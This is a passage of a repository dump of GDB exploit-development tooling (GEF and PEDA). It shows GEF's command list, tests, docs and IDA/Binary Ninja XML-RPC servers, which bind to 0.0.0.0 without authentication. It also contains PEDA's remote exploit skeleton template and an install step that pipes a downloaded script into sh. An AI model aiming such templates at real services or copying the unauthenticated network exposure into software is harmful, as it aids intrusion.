descriptor during runtime.| 28 | |ida-interact | IDA Interact: set of commands to interact with IDA via a XML RPC service deployed via the IDA script `ida_gef.py`. It should be noted that this command can also be used to interact with Binary Ninja (using the script `binja_gef.py`) using the same interface. (alias: binaryninja-interact, bn, binja)| 29 | |ksymaddr | Solve kernel symbols from kallsyms table.| 30 | |nop | Patch the instruction pointed by parameters with NOP. If the return option is specified, it will set the return register to the specific value.| 31 | |patch | Write specified values to the specified address.| 32 | |pattern | This command will create or search a De Bruijn cyclic pattern to facilitate determining the offset in memory. The algorithm used is the same as the one used by pwntools, and can therefore be used in conjunction.| 33 | |pcustom | Dump user defined structure. This command attempts to reproduce WinDBG awesome `dt` command for GDB and allows to apply structures (from symbols or custom) directly to an address. Custom structures can be defined in pure Python using ctypes, and should be stored in a specific directory, whose path must be stored in the `pcustom.struct_path` configuration setting. (alias: dt)| 34 | |process-search | List and filter process. (alias: ps)| 35 | |process-status | Extends the info given by GDB `info proc`, by giving an exhaustive description of the process status.| 36 | |registers | Display full details on one, many or all registers value from current architecture.| 37 | |reset-cache | Reset cache of all stored data.| 38 | |retdec | Decompile code from GDB context using RetDec API. (alias: decompile)| 39 | |ropgadget | ROPGadget (http://shell-storm.org/project/ROPgadget) plugin| 40 | |ropper | Ropper (http://scoding.de/ropper) plugin| 41 | |search-pattern | SearchPatternCommand: search a pattern in memory. (alias: grep)| 42 | |set-permission | Change a page permission. By default, it will change it to RWX. (alias: mprotect)| 43 | |shellcode | ShellcodeCommand uses @JonathanSalwan simple-yet-awesome shellcode API to download shellcodes.| 44 | |stub | Stub out the specified function.| 45 | |trace-run | Create a runtime trace of all instructions executed from $pc to LOCATION specified.| 46 | |unicorn-emulate | Use Unicorn-Engine to emulate the behavior of the binary, without affecting the GDB runtime. By default the command will emulate only the next instruction, but location and number of instruction can be changed via arguments to the command line. By default, it will emulate the next instruction from current PC. (alias: emulate)| 47 | |vmmap | Display virtual memory mapping| 48 | |xfiles | Shows all libraries (and sections) loaded by binary (Truth is out there).| 49 | |xinfo | Get virtual section information for specific address| 50 | |xor-memory | XOR a block of memory.| 51 | -------------------------------------------------------------------------------- /gef/tests/test-runner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Run tests by spawning a gdb instance for every command. 4 | # 5 | 6 | from __future__ import print_function 7 | 8 | import unittest, sys, shutil, os 9 | 10 | from helpers import * 11 | 12 | 13 | class TestGefCommands(unittest.TestCase): 14 | """Global class for command testing""" 15 | 16 | ### unittest helpers 17 | 18 | def assertNoException(self, buf): 19 | return "Python Exception <" not in buf or "'gdb.error'" in buf 20 | 21 | def assertFailIfInactiveSession(self, buf): 22 | return "No debugging session active" in buf 23 | 24 | 25 | ### testing GEF commands 26 | 27 | def test_command_entry_break(self): 28 | res = gdb_run_command("entry-break") 29 | self.assertNoException(res) 30 | return 31 | 32 | def test_command_hexdump(self): 33 | self.assertFailIfInactiveSession(gdb_run_command("hexdump $pc")) 34 | res = gdb_start_silent_command("hexdump qword $pc") 35 | self.assertNoException(res) 36 | res = gdb_start_silent_command("hexdump dword $pc l1") 37 | self.assertNoException(res) 38 | res = gdb_start_silent_command("hexdump word $pc l5 down") 39 | self.assertNoException(res) 40 | res = gdb_start_silent_command("hexdump byte $sp l32") 41 | self.assertNoException(res) 42 | return 43 | 44 | def test_command_vmmap(self): 45 | self.assertFailIfInactiveSession(gdb_run_command("vmmap")) 46 | res = gdb_start_silent_command("vmmap") 47 | self.assertNoException(res) 48 | self.assertTrue(res.splitlines() > 1) 49 | return 50 | 51 | def test_command_xinfo(self): 52 | self.assertFailIfInactiveSession(gdb_run_command("xinfo $sp")) 53 | res = gdb_start_silent_command("xinfo") 54 | self.assertTrue("At least one valid address must be specified" in res) 55 | res = gdb_start_silent_command("xinfo $sp") 56 | self.assertNoException(res) 57 | self.assertTrue(res.splitlines() >= 7) 58 | return 59 | 60 | def test_command_process_search(self): 61 | self.assertFailIfInactiveSession(gdb_run_command("grep /bin/sh")) 62 | res = gdb_start_silent_command("grep /bin/sh") 63 | self.assertNoException(res) 64 | self.assertTrue("0x" in res) 65 | return 66 | 67 | def test_command_registers(self): 68 | self.assertFailIfInactiveSession(gdb_run_command("registers")) 69 | res = gdb_start_silent_command("registers") 70 | self.assertNoException(res) 71 | self.assertTrue("$rax" in res and "$eflags" in res) 72 | return 73 | 74 | def test_command_process_status(self): 75 | self.assertFailIfInactiveSession(gdb_run_command("process-status")) 76 | res = gdb_start_silent_command("process-status") 77 | self.assertNoException(res) 78 | self.assertTrue("Process Information" in res \ 79 | and "No child process" in res \ 80 | and "No open connections" in res) 81 | return 82 | 83 | def test_command_xor_memory(self): 84 | cmd = "xor-memory display 0x555555774000 0x10 0x41" 85 | self.assertFailIfInactiveSession(gdb_run_command(cmd)) 86 | res = gdb_start_silent_command(cmd) 87 | self.assertNoException(res) 88 | self.assertTrue("Original block" in res and "XOR-ed block" in res) 89 | 90 | cmd = "xor-memory patch 0x555555774000 0x10 0x41" 91 | res = gdb_start_silent_command(cmd) 92 | self.assertNoException(res) 93 | self.assertTrue("Patching XOR-ing 0x555555774000-0x555555774010 with '0x41'") 94 | return 95 | 96 | def test_command_elf_info(self): 97 | res = gdb_run_command("elf-info") 98 | self.assertNoException(res) 99 | self.assertTrue("7f 45 4c 46" in res) 100 | return 101 | 102 | def test_command_checksec(self): 103 | res = gdb_run_command("checksec") 104 | self.assertNoException(res) 105 | # todo: add more granular tests (with specific binaries (no canary, no pic, etc.)) 106 | return 107 | 108 | def test_command_pattern_create(self): 109 | res = gdb_run_command("pattern create 16") 110 | self.assertNoException(res) 111 | self.assertTrue("aaaabaaacaaadaaa" in res) 112 | return 113 | 114 | def test_command_theme(self): 115 | res = gdb_run_command("theme") 116 | self.assertNoException(res) 117 | possible_themes = [ 118 | "context_title_line" 119 | "dereference_base_address" 120 | "context_title_message" 121 | "disable_color" 122 | "dereference_code" 123 | "dereference_string" 124 | "default_title_message", 125 | "default_title_line" 126 | "dereference_register_value", 127 | "xinfo_title_message", 128 | ] 129 | for t in possible_themes: 130 | # testing command viewing 131 | res = gdb_run_command("theme {}".format(t)) 132 | self.assertNoException(res) 133 | 134 | # testing command setting 135 | v = "blue blah 10 -1 0xfff bold" 136 | res = gdb_run_command("theme {} {}".format(t, v)) 137 | self.assertNoException(res) 138 | return 139 | 140 | 141 | ### testing GEF methods 142 | def test_which(self): 143 | res = gdb_test_python_method("which('gdb')") 144 | self.assertTrue(res.splitlines()[-1].startswith("/")) 145 | res = gdb_test_python_method("which('__IDontExist__')") 146 | self.assertTrue("Missing file `__IDontExist__`" in res) 147 | return 148 | 149 | def test_get_memory_alignment(self): 150 | res = gdb_test_python_method("get_memory_alignment(in_bits=False)") 151 | self.assertTrue(res.splitlines()[-1] in ("4", "8")) 152 | return 153 | 154 | def test_set_arch(self): 155 | res = gdb_test_python_method("current_arch.arch, current_arch.mode", before="set_arch()") 156 | res = (res.splitlines()[-1]) 157 | self.assertTrue('X86' in res) 158 | return 159 | 160 | 161 | if __name__ == "__main__": 162 | shutil.copy2("./gef.py", "/tmp/gef.py") 163 | suite = unittest.TestLoader().loadTestsFromTestCase(TestGefCommands) 164 | unittest.TextTestRunner(verbosity=3).run(suite) 165 | os.unlink("/tmp/gef.py") 166 | -------------------------------------------------------------------------------- /peda/lib/skeleton.py: -------------------------------------------------------------------------------- 1 | # 2 | # PEDA - Python Exploit Development Assistance for GDB 3 | # 4 | # Copyright (C) 2012 Long Le Dinh 5 | # 6 | # License: see LICENSE file for details 7 | # 8 | 9 | from __future__ import absolute_import 10 | from __future__ import division 11 | from __future__ import print_function 12 | 13 | class ExploitSkeleton(object): 14 | """ 15 | Wrapper for exploit skeleton codes 16 | """ 17 | def __init__(self): 18 | self.skeleton_basic = """ 19 | #!/usr/bin/env python 20 | # 21 | # Template for #TYPE# exploit code, generated by PEDA 22 | # 23 | import os 24 | import sys 25 | import struct 26 | import resource 27 | import time 28 | 29 | def usage(): 30 | print "Usage: %s #USAGE#" % sys.argv[0] 31 | return 32 | 33 | def pattern(size=1024, start=0): 34 | try: 35 | bytes = open("pattern.txt").read(size+start) 36 | return bytes[start:] 37 | except: 38 | return "A"*size 39 | 40 | def nops(size=1024): 41 | return "\\x90"*size 42 | 43 | def int2hexstr(num, intsize=4): 44 | if intsize == 8: 45 | if num < 0: 46 | result = struct.pack(" 1: 196 | self.debug_log(nsend, data, "send") 197 | return nsend 198 | 199 | def sendline(self, data, delay=0): 200 | nsend = self.send(data + "\\n", delay) 201 | return nsend 202 | 203 | def recv(self, size=1024, delay=0): 204 | if delay: 205 | time.sleep(delay) 206 | buf = self.sock.recv(size) 207 | if self.debug > 0: 208 | self.debug_log(len(buf), buf, "recv") 209 | return buf 210 | 211 | def recv_until(self, delim): 212 | buf = "" 213 | while True: 214 | c = self.sock.recv(1) 215 | buf += c 216 | if delim in buf: 217 | break 218 | self.debug_log(len(buf), buf, "recv") 219 | return buf 220 | 221 | def recvline(self): 222 | buf = self.recv_until("\\n") 223 | return buf 224 | 225 | def close(self): 226 | self.sock.close() 227 | 228 | def exploit(host, port): 229 | port = int(port) 230 | client = TCPClient(host, port, debug=1) 231 | padding = pattern(0) 232 | payload = [padding] 233 | payload += ["PAYLOAD"] # put your payload here 234 | payload = list2hexstr(payload) 235 | raw_input("Enter to continue") 236 | client.send(payload) 237 | try: 238 | t = telnetlib.Telnet() 239 | t.sock = client.sock 240 | t.interact() 241 | t.close() 242 | except KeyboardInterrupt: 243 | pass 244 | 245 | if __name__ == "__main__": 246 | if len(sys.argv) < 3: 247 | usage() 248 | else: 249 | exploit(sys.argv[1], sys.argv[2]) 250 | """ 251 | -------------------------------------------------------------------------------- /gef/ida_gef.py: -------------------------------------------------------------------------------- 1 | """ 2 | This script is the server-side of the XML-RPC defined for gef for 3 | IDA Pro. 4 | It will spawn a threaded XMLRPC server from your current IDA session 5 | making it possible for gef to interact with IDA. 6 | 7 | To run from inside IDA: 8 | - open IDA on your binary and press Alt-F7 9 | - a popup "Run Script" will appear, simply enter the location of this 10 | script 11 | 12 | If all went well, you will see something like 13 | [+] Creating new thread for XMLRPC server: Thread-1 14 | [+] Starting XMLRPC server: 0.0.0.0:1337 15 | [+] Registered 10 functions. 16 | 17 | which indicates that the server is running. 18 | 19 | If you edit HOST/PORT, use `gef config` command to edit them 20 | 21 | Ref: 22 | - https://docs.python.org/2/library/simplexmlrpcserver.html 23 | - https://pymotw.com/2/SimpleXMLRPCServer/ 24 | 25 | @_hugsy_ 26 | """ 27 | 28 | from __future__ import print_function 29 | 30 | from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler, SimpleXMLRPCServer, list_public_methods 31 | 32 | import threading 33 | import string 34 | import inspect 35 | 36 | import idautils, idc, idaapi 37 | 38 | 39 | HOST, PORT = "0.0.0.0", 1337 40 | DEBUG = True 41 | 42 | _breakpoints = set() 43 | _current_instruction_color = None 44 | _current_instruction = 0 45 | 46 | 47 | def expose(f): 48 | "Decorator to set exposed flag on a function." 49 | f.exposed = True 50 | return f 51 | 52 | 53 | def is_exposed(f): 54 | "Test whether another function should be publicly exposed." 55 | return getattr(f, 'exposed', False) 56 | 57 | 58 | def ishex(s): 59 | return s.startswith("0x") or s.startswith("0X") 60 | 61 | 62 | class Gef: 63 | """ 64 | Top level class where exposed methods are declared. 65 | """ 66 | 67 | def __init__(self, server, *args, **kwargs): 68 | self.server = server 69 | self._version = ("IDA Pro", str(idaapi.IDA_SDK_VERSION)) 70 | return 71 | 72 | 73 | def _dispatch(self, method, params): 74 | """ 75 | Plugin dispatcher 76 | """ 77 | if DEBUG: 78 | print("Received '%s'" % method) 79 | 80 | func = getattr(self, method) 81 | if not is_exposed(func): 82 | raise NotImplementedError('Method "%s" is not exposed' % method) 83 | 84 | if DEBUG: 85 | print("Executing %s(%s)" % (method, params)) 86 | return func(*params) 87 | 88 | 89 | def _listMethods(self): 90 | """ 91 | Class method listing (required for introspection API). 92 | """ 93 | m = [] 94 | for x in list_public_methods(self): 95 | if x.startswith("_"): continue 96 | if not is_exposed( getattr(self, x) ): continue 97 | m.append(x) 98 | return m 99 | 100 | 101 | def _methodHelp(self, method): 102 | """ 103 | Method help (required for introspection API). 104 | """ 105 | f = getattr(self, method) 106 | return inspect.getdoc(f) 107 | 108 | @expose 109 | def version(self): 110 | """ version() => None 111 | Return a tuple containing the tool used and its version 112 | Example: ida version 113 | """ 114 | return self._version 115 | 116 | @expose 117 | def shutdown(self): 118 | """ shutdown() => None 119 | Cleanly shutdown the XML-RPC service. 120 | Example: ida shutdown 121 | """ 122 | self.server.server_close() 123 | print("[+] XMLRPC server stopped") 124 | setattr(self.server, "shutdown", True) 125 | return 0 126 | 127 | @expose 128 | def MakeComm(self, address, comment): 129 | """ MakeComm(int addr, string comment) => None 130 | Add a comment to the current IDB at the location `address`. 131 | Example: ida MakeComm 0x40000 "Important call here!" 132 | """ 133 | addr = long(address, 16) if ishex(address) else long(address) 134 | return idc.MakeComm(addr, comment) 135 | 136 | @expose 137 | def SetColor(self, address, color="0x005500"): 138 | """ SetColor(int addr [, int color]) => None 139 | Set the location pointed by `address` in the IDB colored with `color`. 140 | Example: ida SetColor 0x40000 141 | """ 142 | addr = long(address, 16) if ishex(address) else long(address) 143 | color = long(color, 16) if ishex(color) else long(color) 144 | return idc.SetColor(addr, CIC_ITEM, color) 145 | 146 | @expose 147 | def MakeName(self, address, name): 148 | """ MakeName(int addr, string name]) => None 149 | Set the location pointed by `address` with the name specified as argument. 150 | Example: ida MakeName 0x4049de __entry_point 151 | """ 152 | addr = long(address, 16) if ishex(address) else long(address) 153 | return idc.MakeName(addr, name) 154 | 155 | @expose 156 | def Jump(self, address): 157 | """ Jump(int addr) => None 158 | Move the IDA EA pointer to the address pointed by `addr`. 159 | Example: ida Jump 0x4049de 160 | """ 161 | addr = long(address, 16) if ishex(address) else long(address) 162 | return idc.Jump(addr) 163 | 164 | def GetStructByName(self, name): 165 | for (struct_idx, struct_sid, struct_name) in Structs(): 166 | if struct_name == name: 167 | return struct_sid 168 | return None 169 | 170 | @expose 171 | def ImportStruct(self, struct_name): 172 | """ ImportStruct(string name) => dict 173 | Import an IDA structure in GDB which can be used with the `pcustom` 174 | command. 175 | Example: ida ImportStruct struct_1 176 | """ 177 | if self.GetStructByName(struct_name) is None: 178 | return {} 179 | res = {struct_name: [x for x in StructMembers(self.GetStructByName(struct_name))]} 180 | return res 181 | 182 | @expose 183 | def ImportStructs(self): 184 | """ ImportStructs() => dict 185 | Import all structures from the current IDB into GDB, to be used with the `pcustom` 186 | command. 187 | Example: ida ImportStructs 188 | """ 189 | res = {} 190 | for s in Structs(): 191 | res.update(self.ImportStruct(s[2])) 192 | return res 193 | 194 | @expose 195 | def Sync(self, pc, bps): 196 | """ Sync(pc, bps) => None 197 | Synchronize debug info with gef. This is an internal function. It is 198 | not recommended using it from the command line. 199 | """ 200 | global _breakpoints, _current_instruction, _current_instruction_color 201 | 202 | if _current_instruction > 0: 203 | idc.SetColor(_current_instruction, CIC_ITEM, _current_instruction_color) 204 | 205 | _current_instruction = long(pc) 206 | _current_instruction_color = GetColor(_current_instruction, CIC_ITEM) 207 | idc.SetColor(_current_instruction, CIC_ITEM, 0x00ff00) 208 | 209 | for bp in bps: 210 | if bp not in _breakpoints: 211 | idc.AddBpt(bp) 212 | _breakpoints.add(bp) 213 | 214 | _new = [ idc.GetBptEA(n) for n in range(idc.GetBptQty()) ] 215 | return _new 216 | 217 | 218 | class RequestHandler(SimpleXMLRPCRequestHandler): 219 | rpc_paths = ("/RPC2",) 220 | 221 | 222 | def start_xmlrpc_server(): 223 | """ 224 | Initialize the XMLRPC thread 225 | """ 226 | print("[+] Starting XMLRPC server: {}:{}".format(HOST, PORT)) 227 | server = SimpleXMLRPCServer((HOST, PORT), 228 | requestHandler=RequestHandler, 229 | logRequests=False, 230 | allow_none=True) 231 | server.register_introspection_functions() 232 | server.register_instance( Gef(server) ) 233 | print("[+] Registered {} functions.".format( len(server.system_listMethods()) )) 234 | while True: 235 | if hasattr(server, "shutdown") and server.shutdown==True: 236 | break 237 | server.handle_request() 238 | 239 | return 240 | 241 | 242 | if __name__ == "__main__": 243 | t = threading.Thread(target=start_xmlrpc_server, args=()) 244 | t.daemon = True 245 | print("[+] Creating new thread for XMLRPC server: {}".format(t.name)) 246 | t.start() 247 | -------------------------------------------------------------------------------- /gef/binja_gef.py: -------------------------------------------------------------------------------- 1 | """ 2 | This script is the server-side of the XML-RPC defined for gef for 3 | BinaryNinja. 4 | It will spawn a threaded XMLRPC server from your current BN session 5 | making it possible for gef to interact with Binary Ninja. 6 | 7 | To install this script as a plugin: 8 | $ ln -sf /path/to/gef/binja_gef.py ~/.binaryninja/plugins/binaryninja_gef.py 9 | 10 | Then run it from Binary Ninja: 11 | - open a disassembly session 12 | - click "Tools" -> "gef : start/stop server" 13 | 14 | If all went well, you will see something like 15 | [+] Creating new thread for XMLRPC server: Thread-1 16 | [+] Starting XMLRPC server: 0.0.0.0:1337 17 | [+] Registered 10 functions. 18 | 19 | @_hugsy_ 20 | """ 21 | 22 | from binaryninja import * 23 | from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler, SimpleXMLRPCServer, list_public_methods 24 | import threading, string, inspect, xmlrpclib 25 | 26 | HOST, PORT = "0.0.0.0", 1337 27 | DEBUG = True 28 | BP_HL_COLOR = 4 29 | 30 | started = False 31 | t = None 32 | _breakpoints = set() 33 | _current_instruction = 0 34 | 35 | 36 | def expose(f): 37 | "Decorator to set exposed flag on a function." 38 | f.exposed = True 39 | return f 40 | 41 | 42 | def is_exposed(f): 43 | "Test whether another function should be publicly exposed." 44 | return getattr(f, 'exposed', False) 45 | 46 | 47 | def ishex(s): 48 | return s.startswith("0x") or s.startswith("0X") 49 | 50 | 51 | class Gef: 52 | """ 53 | Top level class where exposed methods are declared. 54 | """ 55 | 56 | def __init__(self, server, bv, *args, **kwargs): 57 | self.server = server 58 | self.view = bv 59 | self._version = ("Binary Ninja", core_version) 60 | return 61 | 62 | 63 | def _dispatch(self, method, params): 64 | """ 65 | Plugin dispatcher 66 | """ 67 | func = getattr(self, method) 68 | if not is_exposed(func): 69 | raise NotImplementedError('Method "%s" is not exposed' % method) 70 | 71 | if DEBUG: 72 | print("Executing %s(%s)" % (method, params)) 73 | return func(*params) 74 | 75 | 76 | def _listMethods(self): 77 | """ 78 | Class method listing (required for introspection API). 79 | """ 80 | m = [] 81 | for x in list_public_methods(self): 82 | if x.startswith("_"): continue 83 | if not is_exposed( getattr(self, x) ): continue 84 | m.append(x) 85 | return m 86 | 87 | 88 | def _methodHelp(self, method): 89 | """ 90 | Method help (required for introspection API). 91 | """ 92 | f = getattr(self, method) 93 | return inspect.getdoc(f) 94 | 95 | 96 | def get_function_by_addr(self, addr): 97 | """ 98 | Retrieve a binaryninja.Function from its address, or None. 99 | """ 100 | start_addr = self.view.get_previous_function_start_before(addr) 101 | func = self.view.get_function_at(self.view.platform, start_addr) 102 | return func 103 | 104 | @expose 105 | def shutdown(self): 106 | """ shutdown() => None 107 | Cleanly shutdown the XML-RPC service. 108 | Example: binaryninja shutdown 109 | """ 110 | self.server.server_close() 111 | log_info("[+] XMLRPC server stopped") 112 | setattr(self.server, "shutdown", True) 113 | return 0 114 | 115 | @expose 116 | def version(self): 117 | """ version() => None 118 | Return a tuple containing the tool used and its version 119 | Example: binaryninja version 120 | """ 121 | return self._version 122 | 123 | @expose 124 | def Jump(self, address): 125 | """ Jump(int addr) => None 126 | Move the EA pointer to the address pointed by `addr`. 127 | Example: binaryninja Jump 0x4049de 128 | """ 129 | addr = long(address, 16) if ishex(address) else long(address) 130 | return self.view.navigate(self.view, addr) 131 | 132 | @expose 133 | def MakeComm(self, address, comment): 134 | """ MakeComm(int addr, string comment) => None 135 | Add a comment at the location `address`. 136 | Example: binaryninja MakeComm 0x40000 "Important call here!" 137 | """ 138 | addr = long(address, 16) if ishex(address) else long(address) 139 | func = self.get_function_by_addr(addr) 140 | return func.set_comment(addr, comment) 141 | 142 | @expose 143 | def SetColor(self, address, color='1'): 144 | """ SetColor(int addr [, int color]) => None 145 | Set the location pointed by `address` with `color`. 146 | Example: binaryninja SetColor 4 147 | """ 148 | addr = long(address, 16) if ishex(address) else long(address) 149 | color = long(color, 16) if ishex(color) else long(color) 150 | return highlight(self.view, addr, color) 151 | 152 | @expose 153 | def Sync(self, pc, bps): 154 | """ Sync(bps) => None 155 | Synchronize debug info with gef. This is an internal function. It is 156 | not recommended using it from the command line. 157 | """ 158 | global _breakpoints, _current_instruction 159 | 160 | # we use long() for pc because if using 64bits binaries might create 161 | # OverflowError for XML-RPC service 162 | pc = long(pc) 163 | 164 | # unhighlight the _current_instruction 165 | if _current_instruction > 0: 166 | highlight(self.view, _current_instruction, 0) 167 | highlight(self.view, pc, 2) 168 | 169 | # update the _current_instruction 170 | _current_instruction = pc 171 | 172 | # check if all BP defined in gef exists in session, if not set it 173 | # this allows to re-sync in case IDA/BN was closed 174 | for bp in bps: 175 | if bp not in _breakpoints: 176 | gef_add_breakpoint_to_list(self.view, bp) 177 | highlight(self.view, bp, BP_HL_COLOR) 178 | 179 | # if new breakpoints were manually added, sync them with gef 180 | _new = [ x for x in _breakpoints ] 181 | return _new 182 | 183 | 184 | class RequestHandler(SimpleXMLRPCRequestHandler): 185 | rpc_paths = ("/RPC2",) 186 | 187 | 188 | def highlight(bv, addr, color): 189 | if DEBUG: 190 | log_info("Trying to highlight %#x with color %d" % (addr, color)) 191 | start_addr = bv.get_previous_function_start_before(addr) 192 | func = bv.get_function_at(bv.platform, start_addr) 193 | if func is not None: 194 | func.set_user_instr_highlight(func.arch, addr, color) 195 | return 196 | 197 | 198 | def start_service(host, port, bv): 199 | log_info("[+] Starting service on {}:{}".format(host, port)) 200 | server = SimpleXMLRPCServer((host, port), 201 | requestHandler=RequestHandler, 202 | logRequests=False, 203 | allow_none=True) 204 | server.register_introspection_functions() 205 | server.register_instance(Gef(server, bv)) 206 | log_info("[+] Registered {} functions.".format( len(server.system_listMethods()) )) 207 | while True: 208 | if hasattr(server, "shutdown") and server.shutdown==True: 209 | break 210 | server.handle_request() 211 | return 212 | 213 | 214 | def gef_start(bv): 215 | global t, started 216 | t = threading.Thread(target=start_service, args=(HOST, PORT, bv)) 217 | t.daemon = True 218 | log_info("[+] Creating new thread {}".format(t.name)) 219 | t.start() 220 | 221 | if not started: 222 | create_binja_menu() 223 | started = True 224 | return 225 | 226 | 227 | def gef_stop(bv): 228 | global t 229 | t.join() 230 | t = None 231 | log_info("[+] Server stopped") 232 | return 233 | 234 | 235 | def gef_start_stop(bv): 236 | if t is None: 237 | gef_start(bv) 238 | show_message_box("GEF", "Service successfully started, you can now have gef connect to it", OKButtonSet, InformationIcon) 239 | else: 240 | cli = xmlrpclib.ServerProxy("http://{:s}:{:d}".format(HOST, PORT)) 241 | cli.shutdown() 242 | gef_stop(bv) 243 | show_message_box("GEF", "Service successfully stopped", OKButtonSet, InformationIcon) 244 | return 245 | 246 | 247 | def gef_add_breakpoint_to_list(bv, addr): 248 | global _breakpoints 249 | _breakpoints.add(addr) 250 | if DEBUG: 251 | log_info("Breakpoint to %#x added to queue" % addr) 252 | highlight(bv, addr, BP_HL_COLOR) 253 | return 254 | 255 | 256 | def gef_del_breakpoint_from_list(bv, addr): 257 | global _breakpoints 258 | if addr not in _breakpoints: 259 | return 260 | _breakpoints.discard(addr) 261 | if DEBUG: 262 | log_info("Breakpoint to %#x removed from queue" % addr) 263 | highlight(bv, addr, 0) 264 | return 265 | 266 | 267 | def create_binja_menu(): 268 | # Binja does not really support menu in its GUI just yet 269 | PluginCommand.register_for_address("gef : add breakpoint", 270 | "Add a breakpoint in gef at the specified location.", 271 | gef_add_breakpoint_to_list) 272 | PluginCommand.register_for_address("gef : delete breakpoint", 273 | "Remove a breakpoint in gef at the specified location.", 274 | gef_del_breakpoint_from_list) 275 | return 276 | 277 | 278 | PluginCommand.register("Start/stop server GEF interaction", 279 | "Start/stop the XMLRPC server for communicating with gef", 280 | gef_start_stop) 281 | -------------------------------------------------------------------------------- /gef/docs/index.md: -------------------------------------------------------------------------------- 1 | # GEF - GDB Enhanced Features # 2 | 3 | [![ReadTheDocs](https://readthedocs.org/projects/gef/badge/?version=latest)](https://gef.readthedocs.org/en/latest/) [![MIT](https://img.shields.io/packagist/l/doctrine/orm.svg?maxAge=2592000?style=plastic)](https://github.com/hugsy/gef/blob/master/LICENSE) [![Python 2](https://img.shields.io/badge/Python-2-brightgreen.svg)](https://github.com/hugsy/gef/) [![Python 3](https://img.shields.io/badge/Python-3-brightgreen.svg)](https://github.com/hugsy/gef/) [![IRC](https://img.shields.io/badge/freenode-%23%23gef-yellowgreen.svg)](https://webchat.freenode.net/?channels=##gef) [![Build Status](https://travis-ci.org/hugsy/gef.svg?branch=master)](https://travis-ci.org/hugsy/gef) 4 | 5 | `GEF` is a kick-ass set of commands for X86, ARM, MIPS, PowerPC and SPARC to 6 | make GDB cool again for exploit dev. It is aimed to be used mostly by exploiters 7 | and reverse-engineers, to 8 | provide additional features to GDB using the Python API to assist during the 9 | process of dynamic analysis and exploit development. 10 | 11 | `GEF` fully relies on GDB API and other Linux-specific sources of information 12 | (such as `/proc/`). As a consequence, some of the features might not work on 13 | custom or hardened systems such as GrSec. 14 | 15 | It has full support for both Python2 and Python3 indifferently (as more and more 16 | distros start pushing `gdb` compiled with Python3 support). 17 | 18 | ![gef-context](https://i.imgur.com/Fl8yuiO.png) 19 | 20 | *Some* of `GEF` features include: 21 | 22 | * **One** single GDB script. 23 | * **No** dependencies, `GEF` is battery-included and is literally installable 24 | within 5 seconds. 25 | * Provides more than **50** commands to drastically change your experience in 26 | GDB. 27 | * Works consistently on both Python2 and Python3. 28 | * Built around an architecture abstraction layer, so all commands work in any 29 | GDB-supported architecture (x86-32/64, ARMv5/6/7, AARCH64, SPARC, MIPS, 30 | PowerPC, etc.). 31 | 32 | 33 | ## Quick start ## 34 | 35 | ### Install ### 36 | 37 | Simply make sure you have [GDB 7.x+](https://www.gnu.org/s/gdb). 38 | 39 | ```bash 40 | # via the install script 41 | $ wget -q -O- https://github.com/hugsy/gef/raw/master/gef.sh | sh 42 | 43 | # manually 44 | $ wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py 45 | $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit 46 | ``` 47 | 48 | Then just start playing (for local files): 49 | 50 | ```bash 51 | $ gdb -q /path/to/my/bin 52 | gef➤ gef help 53 | ``` 54 | 55 | Or (for remote debugging): 56 | 57 | ```bash 58 | remote:~ $ gdbserver 0.0.0.0:1234 /path/to/file 59 | Running as PID: 666 60 | ``` 61 | 62 | And: 63 | 64 | ```bash 65 | local:~ $ gdb -q 66 | gef➤ gef-remote -t your.ip.address:1234 -p 666 67 | ``` 68 | 69 | ### Update ### 70 | 71 | If your host/VM is connected to the Internet, you can update `gef` easily to the latest version (even without `git` installed). with `python /path/to/gef.py --update` 72 | 73 | For example: 74 | 75 | ```bash 76 | $ python ~/.gdbinit-gef.py --update 77 | Updated 78 | ``` 79 | 80 | If no updates are available, `gef` will respond `No update` instead. 81 | 82 | ## Screenshots ## 83 | 84 | This shows a few examples of new features available to you when installing 85 | `GEF`, with the supported architecture. 86 | 87 | #### Emulating code in GDB via Unicorn-Engine (x86-64) #### 88 | 89 | ![gef-x86](https://i.imgur.com/emhEsol.png) 90 | 91 | #### Displaying ELF information, memory mapping and using Capstone/Keystone integration (ARM v6) #### 92 | 93 | ![gef-arm](http://i.imgur.com/qOL8CnL.png) 94 | 95 | #### Automatic dereferencing of registers values and identifying binary protections (PowerPC) #### 96 | 97 | ![gef-ppc](https://i.imgur.com/IN6x6lw.png) 98 | 99 | #### Showing current context and heap information (MIPS) #### 100 | 101 | ![gef-mips](https://i.imgur.com/dBaB9os.png) 102 | 103 | #### Playing with Capstone engine (SPARC v9) #### 104 | 105 | ![gef-sparc](https://i.imgur.com/VD2FpDt.png) 106 | 107 | 108 | ## Dependencies ## 109 | 110 | There are none: `GEF` works out of the box! However, to enjoy all the coolest 111 | features, it is **highly** recommended to install: 112 | 113 | - [`capstone`](https://github.com/aquynh/capstone) 114 | - [`keystone`](https://github.com/keystone-engine/keystone): requires `cmake` 115 | - [`unicorn`](https://github.com/unicorn-engine/unicorn) 116 | - [`ROPgadget`](https://github.com/JonathanSalwan/ROPgadget) 117 | - [`Ropper`](https://github.com/sashs/ropper) 118 | 119 | 120 | ### Capstone/Keystone/Unicorn ### 121 | 122 | `GEF` greatly enhances the capabilities of GDB thanks to a full integration of 123 | the following libraries: 124 | - [`capstone`](https://github.com/aquynh/capstone) 125 | (by [Nguyen Anh Quynh](https://github.com/aquynh)) is an alternative disassembly 126 | engine, and [`keystone`](https://github.com/keystone-engine/keystone) is an 127 | (arguably the best) assembly engine. 128 | - [`keystone`](https://github.com/keystone-engine/keystone) allows us to 129 | generate opcodes, which can, for example, then be used as part of a 130 | shellcode. 131 | 132 | ![gef-shellcoder](https://i.imgur.com/BPdtr2D.png) 133 | 134 | - [`unicorn`](https://github.com/unicorn-engine/unicorn) (also written 135 | by [Nguyen Anh Quynh](https://github.com/aquynh)) is a lightweight Qemu-based 136 | framework to emulate any architecture currently supported by `GDB` (and even 137 | some more). 138 | 139 | 140 | #### One-liners #### 141 | 142 | For a quick installation, use the `pip` packaged version: 143 | 144 | ```bash 145 | $ pip2 install capstone unicorn keystone-engine # for Python2.x 146 | $ pip3 install capstone unicorn keystone-engine # for Python3.x 147 | ``` 148 | 149 | #### Manual installation #### 150 | You can use `pip` to simply and quickly install it. 151 | 152 | `capstone` and `keystone` are under very active development and improvement, so it is 